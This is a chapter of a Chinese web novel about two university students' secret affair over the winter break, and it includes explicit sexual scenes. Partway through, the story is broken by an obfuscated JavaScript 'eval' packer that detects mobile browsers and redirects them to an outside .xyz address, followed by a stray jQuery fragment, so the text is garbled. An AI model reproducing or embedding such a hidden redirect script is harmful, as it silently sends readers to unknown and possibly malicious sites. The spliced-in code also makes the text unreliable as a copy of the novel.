11. 11-回忆(4)
作品:《他这样存在过》 马上寒假了,大部分人考完最后一门考试就纷纷撤退,冯晨也这样打算,可收拾好行李后才看到买错时间了,只好重新抢票,回家日期就此延后一个周,而那时候整栋楼里都没几个人了,宿舍也冷冰冰。
冯晨正可怜地裹着棉被和张鹤陈吐槽暖气不热时,宿舍门被敲了下。她问谁啊,没人回答,可门还在敲,冯晨无奈从被窝出来。
她一边走到门口,一边回复张鹤陈发来的那句【来我这吧】,她说不要,所以打死也想不出开门看见的人会是张鹤陈。
冯晨当时惊呆一下又瞬间清醒,迅速将他拉进屋里,并探身小心地朝走廊两边看,像地下党街头一样,确认没人才关上门。
面对屋里的大活人,冯晨还是震惊:“你怎么来了?!”
张鹤陈淡定说:“你不是害怕么。”
冯晨压低声音重重道:“我开玩笑的!”
“哦。”那态度也不在意她开没开玩笑,就想来了。
张鹤陈脱下羽绒服,特自来熟地走到唯一亮着台灯的位置上坐下。
“你胆子也太大了!”冯晨真有点后怕,她说着跟过去,追问:“你怎么进来的啊,阿姨没发现吗?”
“没有,”他还嬉皮笑脸,“可能我长得比较中性。”
“…………”中性?亏他说得出来。
见冯晨依旧皱着眉,张鹤陈才认真解释:“我戴着帽子,大冷天阿姨也不会时刻盯着,至于门禁卡……”他从口袋里掏出晃了晃,“总有办法拿到。”
冯晨担心未解:“你哪来的卡,要被发现了怎么办?”
“被发现有被发现的解决方法。”张鹤陈没有多说这些,拉过她手将她拥在腿间,昂着头看她说,“我都来了。”
对啊,这才是她要面对的。
冯晨吐口气,呼噜下他头发泄闷气。
张鹤陈笑,贴在她身上嗅了嗅她的味道,然后手指攀岩而上解她的扣子,太轻而易举了,冯晨很快觉察到身前袭来的凉意,可下一秒又被温暖地包围。
她垂头看他,只觉得这人坏死了。
张鹤陈埋头不止,含混道:“这么长时间不找我,再过一个寒假要忘了什么滋味了。”
或许是这句话起了作用,冯晨一动不动,任由他留下湿润的痕迹。在冯晨扶着他肩膀站不住时,张鹤陈终于好心地让她坐到他腿上,又吻她嘴,说怎么这么香。
冯晨无地自容,却往他怀里躲。
张鹤陈笑意浓浓,含着她的舌头吻吻停停,手指倒像沾在她身前,她不拒绝,他就永远抚着,似乎不知疲倦地把玩着一粒小石子。
弄久了,冯晨有点疼,可仍没制止他。
张鹤陈知道她喜欢这样,他也早就上瘾。他抱起她将她放到桌子上,俯身啮噬。
冯晨低吟了声,捂住嘴。
在张鹤陈的吞咽声愈响时,门又被敲了敲。
冯晨立即心虚地抱住他脑袋,以为是阿姨查了监控找上来了。但她这动作在张鹤陈看来不像要他停止,而是他受到投喂,所以他的舌尖还饶有兴致地晃动,骚扰她的神经。
冯晨屏气凝神,朝他摇摇头。
同时,门外响起了说话声:“冯晨,睡了吗?”
听声音是隔壁的同学,冯晨应了句没睡。
她的紧张感也淡了点,冯晨移开张鹤陈的脑袋,吻下他嘴角安抚说等一会儿,然后将他拉到阳台藏着,自己整理着衣服,去卫生间洗了两把脸,深吸一口气开门。
门外的女生在实习也没急着回家,这会儿刚下班回来又冷又饿,想泡方便面当宵夜,可又忘记打热水,累了一天也不愿再下楼打,就来冯晨这里碰运气。
冯晨有,拿给女生。
女生道谢,说:“我用完就给你送来。”
冯晨忙说:“不用,我还有一壶。”
女生笑着说好,因工作的劳累没有停下多聊,又道了声谢谢走了。
冯晨看着对方进了宿舍,才关上门。
她返回宿舍,张鹤陈也从阳台上进屋。
他幽幽看她,冯晨笑着卖乖,摸着他的胳膊说:“冷吗?”
是冷的,屋里都没多暖和,更别提与屋外一窗之隔的阳台。
冯晨的手心感到清冷的凉气。
张鹤陈下流地笑说:“没事,一会儿就热了。”
他又抱她到桌上,继续刚才的事情。
冯晨被迫中断,都没了意兴,但张鹤陈不依不饶,说“是你说等一会儿的”,冯晨那只是哄他的,可辩驳不清,只能为一时扯来的话负责。
张鹤陈的手滑下,在越来越靠近那个地方时,冯晨拦住他,说:“别,别在这儿。”
张鹤陈就要在这儿,要她以后无论在桌上做什么会想起他,恶劣又无耻。
张鹤陈先坐在椅子上贴进她,随后站起来让她靠近。他显然是有备而来,冯晨听到塑料袋撕裂的声音喉咙提前紧了下。
张鹤陈也没想着走,就在这里洗漱完毕,和冯晨一起躺到那张逼仄的床上。他拥着她,还说没尽兴。冯晨恼羞,抬起他搁在她脖子下面的手臂咬了下。
张鹤陈闷闷地抽口气,笑着在她耳边低语:“还有一个。”
要不是从床上掉下去会摔个不轻,冯晨真想把他推走,而不是在他磨磨蹭蹭间又被他可恶地得逞。
冯晨问:“你能不能轻点?”
宿舍的墙不隔音,他们躺的又是钢板床,稍微一动就有声响,他没轻没重的话,肯定会被隔壁听到,虽然不确定现在有没有人住,但谨慎为妙。
张鹤陈当然说能。
只是过程有点费劲儿,所有动作都像按了慢倍速的电影,到结束张鹤陈总觉得缺点什么,他让冯晨转过身来帮他缓缓。
冯晨不会再来一次,就依了他。
而等转过来看见他想怎么缓,冯晨捏着他耳朵嗔怒道:“你怎么这么不要脸啊?”
张鹤陈咬她一口,混账道:“才知道,晚了。”
怎么晚了,他们的关系明明是可以随时断掉的,不过冯晨没扫兴地说出来,这一晚已够惊心动魄,她不想再闹什么幺蛾子,尽管张鹤陈对着她那里有些肆虐,她也默默忍着,盼着他快点好。
有她在身边,张鹤陈很难好,但看她实在太困了,他才舍得从她身前挪开,将她抱在怀里。
冯晨今晚不用担心被冻醒包裹得严严实实了,张鹤陈的存在让她像靠了个火炉。
看来,他不止那点用处。
宿舍的窗帘单薄,室内反着雪地的光,张鹤陈影影绰绰地看着冯晨平静的脸蛋,她的鼻子秀挺,每回接完吻避免她害羞他都喜欢碰碰她的鼻尖逗她一笑,下面的一张嘴很小,也很倔,闹起脾气来紧紧抿着,现在轻松多了,微微上扬。他见过她嘴角张扬起来有多明媚,也听过她从这里叫出来的声音有多动听。
张鹤陈亲了亲她的额头,说:“明早去我那儿吧。”
冯晨已经不想再思考任何问题,乖乖地嗯了声。她明天下午的车票,去也只是待一上午,就如他意好了。
冯晨的脑袋困得酸胀,不过,她是转了个身背对着张鹤陈才慢慢睡着的。
第二天早上天刚擦亮,冯晨习惯性伸个懒腰被不适的拥挤闹醒,她也不想睡了,并把张鹤陈叫起来。哪知这位少爷竟有起床气,闭着眼睛死活不起。
冯晨为了出去时不再冒险,只好热着脸不顾底线地哄他,张鹤陈尝着她的味道才心情舒畅,十分钟后听话了。看着他神清气爽坐起来,冯晨很怀疑他是不是故意折腾她。但做都做了,又懒得计较。
外面雪停了,大地变得洁净,白茫茫一片。
张鹤陈提着行李箱,冯晨背着书包,他们趁阿姨还没睡醒的时候悄然出楼。当冯晨踩在咯吱响的雪上时,提着的心总算是安稳了。那时她就想,她这二十多年来积攒的胆量都用来和张鹤陈厮混了。
大清早学校里的雪还没人处理,不易开车。
走在路上,冯晨差点被雪下藏的冰滑倒,幸亏张鹤陈及时拉住她。张鹤陈问她要不要紧,冯晨摇摇头,心跳剧烈,张鹤陈嗯了声,再没松开她。
冯晨戴着帽子围着围脖,浑身光露出两眼,路上人也少,她没有忌惮被发现,只怕一不留神摔倒,自己伤筋动骨不说再麻烦家人,就由张鹤陈牵着了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094325|163678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到小区门口,他们买了早饭带回公寓吃。
这是冯晨第二次去张鹤陈的公寓。
上次去是晚上,她一进屋就被他按住亲,除了洗澡都在暗里进行,早上走得也匆忙,没有好好看他的住处。
现在看看,她对这里的整体评价是宽大单调,没有烟火气,像酒店套房。张鹤陈确实也不常住,屋里只有平常用到的东西。
但温度不知比宿舍里高了几倍,简直像在过夏天。
因为起床那一出,冯晨身体是有点不舒服的,她问:“可以洗澡吗?”
张鹤陈笑了下,抬手一指说:“请便。”
冯晨放倒行李箱找衣物,张鹤陈拿了一个干净的毛巾给她。
她去了浴室,张鹤陈也没有先吃饭,等她的空档儿,他煮了两杯咖啡。
可惜,冯晨不好这口。
她坐在餐桌旁,说:“我喝了容易失眠。”
张鹤陈若有所思地点头,要把她身前的那杯拿走又被拦住,冯晨说:“我喜欢闻味道。”
张鹤陈:“……”
张鹤陈吃完饭来了一个电话,他走去窗边接听,冯晨觑了他背影一眼,慢吞吞地咬着煎饺。
他那通电话打得时间挺长,冯晨听到了几个专业术语就自动合上耳朵,吃饱后收拾了下桌子到客厅里的沙发上坐着。
张鹤陈结束通话,过来抱她。
他的额头贴着她的,问:“什么时候回来?”
她还没走,他竟觉得自己会想她。
冯晨嫌痒,躲了下,说:“元宵节过完吧。”
张鹤陈偏要贴她,还将她整个抱到腿上。冯晨哭笑不得,她其实对他的亲近没有异议。
张鹤陈摸摸她的下巴问:“回家联系么?”
冯晨想了想说:“没什么好说的,就睡觉吃饭写论文。”以及……准备没有把握的复试。
张鹤陈看着她说:“可以说这些,反正都无聊,说说话能解闷。”
冯晨靠在他胸膛仰头看他:“你会无聊吗?”
张鹤陈眉动:“我怎么不会?”
冯晨移开视线,没继续说什么。
可能因为他们是那样开始的,黏在一起就总不自觉地往那方面发展。张鹤陈一下一下吻着她的耳畔,然后抵达她嘴里。
冯晨的呼吸乱了,听到他说:“昨晚缺我的,现在补上?”
冯晨不懂:“缺什么?”
“你叫我轻点,我答应了,”张鹤陈不紧不慢地帮她回忆,“可是不好。”
冯晨有种想逃的冲动:“不是补了吗?”
张鹤陈装傻,故意问:“怎么补的?”
“……”冯晨想起那个画面脸就烫起来,哪说得出口。
张鹤陈握着她的脸,染着笑声低声问:“嗯?给不给?”
冯晨知道进了狼窝身不由己的道理,可她也不算被动,只是被张鹤陈撩拨起欲望。
在熟悉的地方,张鹤陈不知克制为何物,到底从冯晨身上要了个尽兴,弥补了昨晚的残缺。
冯晨又洗了个热水澡,闭着眼睛缩在床上。
张鹤陈蹲在她旁边捏捏她的脸,柔声问有这么累么,语气里还带着些歉意。
冯晨也奇怪,费劲儿折腾她的人生龙活虎,她却没精打采,加上这几天她都没有休息好,这一觉睡到中午。
张鹤陈点的外卖,冯晨起来吃了几口有了力气,可还想睡觉。
张鹤陈拿手背贴在她的额头上:“是不是感冒了?”
冯晨摇摇头:“就是困。”
张鹤陈:“那再睡会儿。”
冯晨没上床,就靠着张鹤陈的肩膀眯了会儿。
两点的高铁,她该走了。
出门前,张鹤陈拉住冯晨与她深吻,然后咬着她唇略带警告的意味说“别找其他人,我等你回来”。
冯晨皱眉,他把她当什么人了,还有后面那句,他装什么深情。又心想算了,她与他原来就是不光明地开始,怎么理解都成,他说自己的那句就当他也不会找别人的意思吧。
她说好。
他说要联系。
她也说好。